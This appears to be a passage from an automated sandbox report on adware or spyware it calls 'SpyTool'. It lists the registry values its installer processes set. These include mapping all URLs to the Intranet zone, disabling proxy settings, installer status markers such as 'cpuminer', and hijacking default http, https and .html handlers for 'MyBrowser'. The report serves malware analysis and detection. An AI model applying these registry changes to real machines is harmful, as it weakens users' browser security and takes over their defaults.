[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process nsh37.tmp:1376 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi32.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi32.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx3B.tmp\Registry.dll,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 24 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\InstallPath\Status]
"cpuminer" = "S"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "28 A2 B5 C9 29 BD C4 88 C5 E9 1E B9 07 04 FE 74"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKCU\Software\InternetTurbo]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nsc43.tmp:1632 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 26 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "08 4D 26 2E 69 43 4B 60 D6 5C A4 32 5B B9 88 FD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nss2A.tmp:1600 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi32.tmp\Registry.dll,"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\InstallPath\Status]
"OperaRUnew" = "S"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "02 74 AD 2C 4F 08 2B 47 80 50 2C 0C B2 0E 5D 75"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The SpyTool modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The SpyTool modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The SpyTool modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The SpyTool deletes the following registry key(s):

[HKCU\Software\InternetTurbo]

The SpyTool deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nss2A.tmp:228 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "98 BB 67 3E 82 2A A3 77 98 41 03 D6 50 51 16 52"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\Registry.dll,"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\InstallPath\Status]
"OperaRUnew" = "M"

The process gmsd_re_005010082.exe:436 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "40 2B D2 12 20 91 AD 7A EB 39 AC 49 3B 80 D7 07"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

The process tasklist.exe:1920 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "10 B1 EC 8A 24 C2 E5 D0 1F 7C 67 F6 82 EB AF C6"

The process tasklist.exe:1068 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "22 E8 0C 96 92 A9 9B 14 5E 6F 9C D1 5B 49 ED 51"

The process setup.exe:268 makes changes in the system registry.
The SpyTool creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"IconsVisible" = "1"

[HKCU\Software\Classes\ftp\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\MyBrowser\Installer]
"Name" = "MyBrowser"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationDescription" = "MyBrowser is a web browser that runs webpages and applications with lightning speed. It's fast, stable, and easy to use. Browse the web more safely with malware and phishing protection built into MyBrowser."

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"smsto" = "CRSBRWSHTML"

[HKCR\https\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayIcon" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\MyBrowser\Installer]
"UninstallArguments" = " --uninstall --system-level"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"VersionMinor" = "95"

[HKCR\.html\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"DisplayVersion" = "39.5.2171.95"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities]
"ApplicationName" = "MyBrowser"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"InstallDate" = "20150907"

[HKCU\Software\Classes\http\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"StubPath" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\chrmstp.exe --configure-user-settings --verbose-logging --system-level"

[HKCR\.html]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp]
"URL Protocol" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"nntp" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".xhtml" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"mailto" = "CRSBRWSHTML"

[HKCU\Software\Classes\.xht]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKLM\System\CurrentControlSet\Control\Session Manager]
"PendingFileRenameOperations" = "\??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsg2E.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi32.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsi32.tmp\, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx3B.tmp\Registry.dll, , \??\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsx3B.tmp\, , \??\%Program Files%\MyBrowser\MyBrowser,"

[HKCU\Software\Classes\.html]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"VersionMajor" = "2171"

[HKCU\Software\Classes\.shtml]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\https\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}\LocalServer32]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\delegate_execute.exe"

[HKCR\CLSID\{2A563926-CF4B-4363-A760-F71E46205B7E}]
"(Default)" = "CommandExecuteImpl Class"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"irc" = "CRSBRWSHTML"

[HKCR\ftp\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"https" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"IsInstalled" = "1"
"Version" = "24,0,0,0"

[HKCR\https\shell]
"(Default)" = "open"

[HKCR\.xhtml]
"(Default)" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mybrowser.exe]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"

[HKCR\.xht\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\Startmenu]
"StartMenuInternet" = "MyBrowser"

[HKCU\Software\Classes\http\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKLM\SOFTWARE\RegisteredApplications]
"MyBrowser" = "Software\Clients\StartMenuInternet\MyBrowser\Capabilities"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"webcal" = "CRSBRWSHTML"

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerError" = "0"

[HKCR\ftp]
"URL Protocol" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"

[HKCR\ftp\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\HTTP\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerResult" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"UninstallString" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe --uninstall --system-level"

[HKCR\https\shell\open\ddeexec]
"(Default)" = ""

[HKCR\CRSBRWSHTML\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"sms" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\mybrowser.exe]
"Path" = "%Program Files%\MyBrowser\MyBrowser\Application"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "54 C3 A0 46 5A 6F E2 F5 1C 1B 4B 67 AC 50 64 3E"

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerExtraCode1" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Classes\https\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCR\HTTP\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\https\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKCR\CRSBRWSHTML\shell\open\command]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe -- %1"

[HKCR\.shtml\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKCU\Software\Classes\https\shell]
"(Default)" = "open"

[HKCR\.webp\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"NoModify" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".htm" = "CRSBRWSHTML"

[HKCR\HTTP]
"URL Protocol" = ""

[HKCU\Software\Classes\http\shell]
"(Default)" = "open"

[HKCR\HTTP\shell]
"(Default)" = "open"

[HKLM\SOFTWARE\MyBrowser\Installer]
"oopcrashes" = "1"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"mms" = "CRSBRWSHTML"

[HKCU\Software\Classes\http]
"URL Protocol" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\InstallInfo]
"ReinstallCommand" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe --make-default-browser"

[HKCR\.shtml]
"(Default)" = "CRSBRWSHTML"

[HKCU\Software\Classes\https]
"URL Protocol" = ""

[HKLM\SOFTWARE\MyBrowser\Installer]
"InstallerSuccessLaunchCmdLine" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe"
"UninstallString" = "%Program Files%\MyBrowser\MyBrowser\Application\39.5.2171.95\Installer\setup.exe"

[HKCR\.xht]
"(Default)" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"urn" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"(Default)" = "MyBrowser"

[HKLM\SOFTWARE\MyBrowser\Installer]
"ap" = "-stage:preconditions"

[HKCR\HTTP\DefaultIcon]
"(Default)" = "%Program Files%\MyBrowser\MyBrowser\Application\mybrowser.exe,0"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"tel" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"NoRepair" = "1"

[HKCU\Software\Classes\.htm]
"(Default)" = "CRSBRWSHTML"

[HKCR\https]
"URL Protocol" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".xht" = "CRSBRWSHTML"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCR\.htm]
"(Default)" = "CRSBRWSHTML"

[HKCR\.htm\OpenWithProgids]
"CRSBRWSHTML" = ""

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\FileAssociations]
".webp" = "CRSBRWSHTML"

[HKCU\Software\Classes\ftp\shell\open\ddeexec]
"(Default)" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"Publisher" = "The MyBrowser Authors"

[HKLM\SOFTWARE\Clients\StartMenuInternet\MyBrowser\Capabilities\URLAssociations]
"news" = "CRSBRWSHTML"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\MyBrowser]
"Version" = "39.5.2171.95"

[HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components]
"Localized Name" = "MyBrowser"

[HKLM\SOFTWARE\Clients\StartMenuInternet]
"(Default)" = "MyBrowser"

[HKCR\CRSBRWSHTML]
"(Default)" = "MyBrowser HTML Document"

